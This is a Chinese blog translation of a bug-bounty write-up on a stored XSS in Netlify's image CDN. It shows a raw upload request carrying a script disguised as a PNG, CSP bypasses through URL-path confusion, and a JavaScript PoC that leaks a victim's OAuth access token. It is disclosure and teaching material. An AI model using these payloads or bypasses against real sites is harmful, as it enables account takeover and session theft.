绕过 CSP,实现 Netlify CDN 上XSS

文摘   2024-09-19 15:38   上海  

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


博客新域名:https://gugesay.com

不想错过任何消息?设置星标↓ ↓ ↓


前言

本文将讨论在 https://app.netlify.com 中使用的 Netlify 图像 CDN 上发现的 XSS,以及如何设法绕过 CSP(对于不太熟悉这个 CSP 的人来说,简单概括就是在任何情况下都不会执行脚本),扩展阅读可前往:

https://docs.netlify.com/image-cdn/overview/?source=post_page—–755a27065fd9

故事开始

众所周知,许多流行的静态站点生成器都具有图像 CDN 功能,这样可以优化网站上使用的图像。

如果希望通过尽可能减少加载图像所需的时间来加快网站加载速度,图像CDN非常有用。

以下是一些例子:

图像优化

为NUXT优化图像

预优化图像

所有这些都是通过参数或路径将 url 作为输入并优化图像。

当你向此类端点发出请求时,很多东西都会在后台发生,如果你感兴趣,可以深入研究,有可能还会发现一些很酷的Bug:

/_next/image?url=
/_gatsby/image/:url
/.netlify/image?url=
/_ipx/w_200/:url

此外,你还会发现这些端点通常会进行一些检查,例如允许你向哪个 url 发出请求,这些都可以根据文档进行配置。

它们还会验证请求图像的 Content-Type,如 image/svg+xml,因为它可以允许 xss 和其它检查,如检查响应缓冲区,以确保在返回响应之前,请求的图像 url 确实是图像。

有些端点不对图像进行任何检查,甚至允许通过该端点提供 HTML 响应,因为请求的 URL 是在服务器端而不是客户端获取的,所以它也是 SSRF 的理想候选对象。

这是一个非常有趣的攻击面,在看到 Assetnote 和 Sam Curry 过去对此所做的一些出色研究后,白帽小哥决定也研究一下它们,到目前为止有了一些有趣的线索,当然,小哥更希望它们变为‘漏洞’。

Netlify’s Next.js的XSS

利用静态站点生成器

背景介绍完毕,现在回到发现的问题上,在 Netlify 上构建的网站有这样一个图像优化端点:

/.netlify/images?url=

比如:https://app.netlify.com/.netlify/images?url=https://app.netlify.com/favicon.ico

还有更多的参数也可用于返回具有不同宽度或高度的图像,url 参数仅允许从白名单主机中获取文件,该主机可以通过 netlify.toml 文件进行配置。


[images]
remote_images = [
"https://my-images.com/.*",
"https://animals.more-images.com/[bcr]at/.*"]

默认情况下,url 参数中也接受相同的原始 url,可以在上面的配置中看到,使用了正则表达式.*。因此,即使是很小的错误也会产生一些副作用。

正如之前所说,一些提供商不会对请求的 url 是否返回有效图像进行任何检查,Netlify 就是这种情况。

所以你可以请求索引页面,请求的url的响应是在服务器端获取的(这里也可能发生一些奇妙的事情,如果配置允许请求任何 URL,可能会发生 SSRF)

对于 https://app.netlify.com ,以下 CDN 域位于白名单 https://d33wubrfki0l68.cloudfront.net 中。

Netlify使用此 CDN 来托管所有用户上传的内容,例如个人资料图片等。

那么如果我们可以在 CDN 域上找到任意文件上传,是不是就可以在 /.netlify/image?url 端点中使用它来实现 XSS ?

事实上有一些检查来确保用户不能上传除图像之外的任何其它内容,比如 SVG 就不被允许。

{"code":422,"message":"Logo must be an image"}

但是白帽小哥很快便找到了绕过方法,它允许将任何文件上传到 CDN 域。

将上传文件的 Content-Type: image/png mimetype 设置为白名单之一,就可以顺利绕过检查。

POST /access-control/bb-api/api/v1/accounts/5d77dc9150223b44a44df1f3/logo HTTP/2
Host: app.netlify.com
Cookie: Redacted
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------26024016321888288818835600843
Referer: https://app.netlify.com/teams/sudi/overview
Content-Length: 606
Origin: https://app.netlify.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

-----------------------------26024016321888288818835600843
Content-Disposition: form-data; name="file"; filename="xss.html"
Content-Type: image/png

<h1>shirley</h1><script>alert()</script>
-----------------------------26024016321888288818835600843--
{
"url": "https://d33wubrfki0l68.cloudfront.net/5d77dc9150223b44a44df1f3/37319cf93ea440b93ea5/xss.html"
}

正如下图所见,顺利收到成功响应,其 url 扩展名为 .html:

现在我们在 CDN 域中有了一个有效的 xss,那么应该可以在 /.netlify/images?url= 端点中轻易实现 xss 了吧?

答案是否定的!即使 Content-Type 是 text/html 并且响应正文包含 xss payload,它也不会触发,由于使用了 CSP,因此这一切都是徒劳的。

Content-Security-Policy: script-src 'none'

以上是该端点中使用的 CSP,正如之前所提到的那样,由于该CSP非常严格,几乎无法绕过。

白帽小哥非常沮丧,打算放弃。但第二天早上他突然想到,既然已经测试 Netlify 几天了,所以对他们的应用程序也有了一个很好的了解。

对于其它端点,它们虽然也有 CSP,但有些非常宽松,也更容易绕过,但/.netlify/images?url=端点返回了一个非常严格的 CSP。

因此在后端,他们必须检查所请求 url 的路径并专门为其提供不同的 CSP。下面举一个 nginxconf 的例子来说明这种情况是如何发生的:

    location /.netlify/images {
# Set Content Security Policy
add_header Content-Security-Policy "script-src 'none'";

假如负责服务 CSP 的服务和与获取资源相关的服务存在任何 URL 解析混淆怎么办?如果真是这样,能够为我们所利用吗?

如果提供一个与location指令不匹配的路径,那么 nginx 就无法捕获该路径,但后端服务会标准化该路径并将其视为/.netlify/images ,这样就会返回正确的响应,而不是严格的 CSP。

尝试修改路径:

GET /./.netlify/images?url=https://d33wubrfki0l68.cloudfront.net/5d77dc9150223b44a44df1f3/37319cf93ea440b93ea5/xss.html&fit=cover&h=200&w=200&x=x HTTP/2
Host: app.netlify.com

获得响应:

HTTP/2 200 OK

Content-Security-Policy: script-src 'nonce-ak9jJ87J3kkfSFdbapb1h7sEJ/RjVtSQ' 'strict-dynamic' 'unsafe-inline' 'unsafe-eval' 'self' https: http: 'none'; report-uri /.netlify/functions/__csp-violations
Content-Type: text/html

这个理论确实有效,我能够让它返回不同的 CSP,但具有相同的响应。

但是如果在浏览器中使用/./.netlify/images这样的路径,它会在向 sevrer 发出请求之前将 url 标准化为/.netlify/images

于是白帽小哥尝试了一些 url 编码/.netlify%2fimages

顺利收获XSS。

使用一个简单的 PoC,可以从 Github Oauth 流程中泄露授权代码:

x = window.open("https://api.netlify.com/auth?provider=github&site_id=app.netlify.com&login=true&redirect=https://app.netlify.com/");

setInterval(function() {
console.log(x.location.href);
}, 500);

我们可以使用这个 url 和 access_token 来登录受害者的帐户,因为查询参数中的access_token基本上是受害者会话的主 Cookie。

Netlify尝试修复它,但很快被白帽小哥找到了另一种绕过方法,只需在路径前添加一个/即可绕过 CSP:

//.netlify/images

你学废了么?

以上内容由骨哥翻译并整理。

原文:https://infosecwriteups.com/bypassing-csp-via-url-parser-confusions-xss-on-netlifys-image-cdn-755a27065fd9

加入星球,随时交流:


(前50位成员):99元/年
(后续会员定价):128元/年

感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

====正文结束====

骨哥说事
一个喜爱鼓捣的技术宅
 最新文章